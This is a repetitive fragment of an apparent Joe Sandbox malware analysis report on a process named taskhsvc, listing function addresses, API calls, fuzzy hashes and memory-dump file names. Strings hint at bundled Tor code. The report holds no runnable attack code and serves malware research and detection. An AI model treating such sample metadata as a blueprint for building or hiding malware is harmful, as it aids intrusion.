                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failabort$strrchr
                                        • String ID: 40$X1$~
                                        • API String ID: 2024191972-1759549000
                                        • Opcode ID: 2604c722b097f32250618dd7e3df6a5341da30bc3082b0e3eb1046c4852e9ef9
                                        • Instruction ID: 240d8154b90779240d575522fa4afd81671b50c2a8abead48a56cf3e4c3b8492
                                        • Opcode Fuzzy Hash: 2604c722b097f32250618dd7e3df6a5341da30bc3082b0e3eb1046c4852e9ef9
                                        • Instruction Fuzzy Hash: 4841B3B4A042169FCB00EFA8C5859AEBBF1FF44304F05C818E498AB355DB78E981DF61
                                        Function 00C376F7 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 460COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00D19B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D145AC), ref: 00D19B69
                                          • Part of subcall function 00C5B147: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00CB5D18), ref: 00C5B190
                                          • Part of subcall function 00C374BF: __stack_chk_fail.LIBSSP-0 ref: 00C376EC
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C37E4E
                                          • Part of subcall function 00D13842: __stack_chk_fail.LIBSSP-0 ref: 00D138B7
                                          • Part of subcall function 00C34FEA: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00C5183F), ref: 00C35035
                                          • Part of subcall function 00C35214: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00C1EA65), ref: 00C352AB
                                          • Part of subcall function 00D1A905: abort.MSVCRT ref: 00D1A95C
                                          • Part of subcall function 00D1A905: abort.MSVCRT ref: 00D1A99A
                                          • Part of subcall function 00D1A905: abort.MSVCRT ref: 00D1A9DE
                                          • Part of subcall function 00D1A905: __stack_chk_fail.LIBSSP-0 ref: 00D1AA35
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abort
                                        • String ID: (no exits in consensus)$ r$0n$l$l
                                        • API String ID: 646538096-170215231
                                        • Opcode ID: 0b26dd8ceeb480fb13780f0e772eed620c6f1bdbc48cfc866e6c027d042e6f8c
                                        • Instruction ID: 107d0f37cafa0c3f6c9aa52e19a7351c1e871f1c79c8f539ca0162152c3c3e3a
                                        • Opcode Fuzzy Hash: 0b26dd8ceeb480fb13780f0e772eed620c6f1bdbc48cfc866e6c027d042e6f8c
                                        • Instruction Fuzzy Hash: 3032C2B4A08319DFDB20DFA5D58469EBBF0FF48304F118999E898A7351D7349A88CF52
                                        Function 00BC31E0 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 347COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failtime
                                        • String ID: ../src/or/main.c$H$conn
                                        • API String ID: 2434642342-3088072088
                                        • Opcode ID: 92babc77ac8796d35b128f1493a26f82f69e08b6bddae4d1a1efdbbfe2c404cc
                                        • Instruction ID: e10598da33b37965cd1802767a357fa8619f5f3ddb31e9e85d45d238778c4d19
                                        • Opcode Fuzzy Hash: 92babc77ac8796d35b128f1493a26f82f69e08b6bddae4d1a1efdbbfe2c404cc
                                        • Instruction Fuzzy Hash: DBF1A3B49082189FCB00DFA9C185AADFBF0EF48710F45C99AE894AB351D734D985DF61
                                        Function 00BE5B8F Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 280COMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID: $De$UU
                                        • API String ID: 4216919130-3115843112
                                        • Opcode ID: d327db9be401e4d478e3eaa79766ae78c50df20aea1dea85ca808f1d261d3f17
                                        • Instruction ID: 05780b0721e993efb54dadf27dd849bd6c3d22226e52e17e4d31eede69f89c50
                                        • Opcode Fuzzy Hash: d327db9be401e4d478e3eaa79766ae78c50df20aea1dea85ca808f1d261d3f17
                                        • Instruction Fuzzy Hash: 6DD1CFB4A047499FCB10DFA9D58469EBBF1FF88318F108859E498AB350D774D984CF62
                                        Function 00BC56C3 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 210COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                        • time.MSVCRT ref: 00BC56F9
                                          • Part of subcall function 00D2545C: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BCA788), ref: 00D25486
                                          • Part of subcall function 00C08197: __stack_chk_fail.LIBSSP-0 ref: 00C08216
                                        • free.MSVCRT ref: 00BC58EB
                                        • free.MSVCRT ref: 00BC59A4
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BC59FE
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$free$time
                                        • String ID: c$t
                                        • API String ID: 3961263387-139623253
                                        • Opcode ID: 62147a16d1827e764caafc16a063462a4437864e892eed6fa8681ffb9fe98145
                                        • Instruction ID: 95aafe62f32754ababe0dfcc5a408ad0dca900f501bf8585586d2921e39e29d3
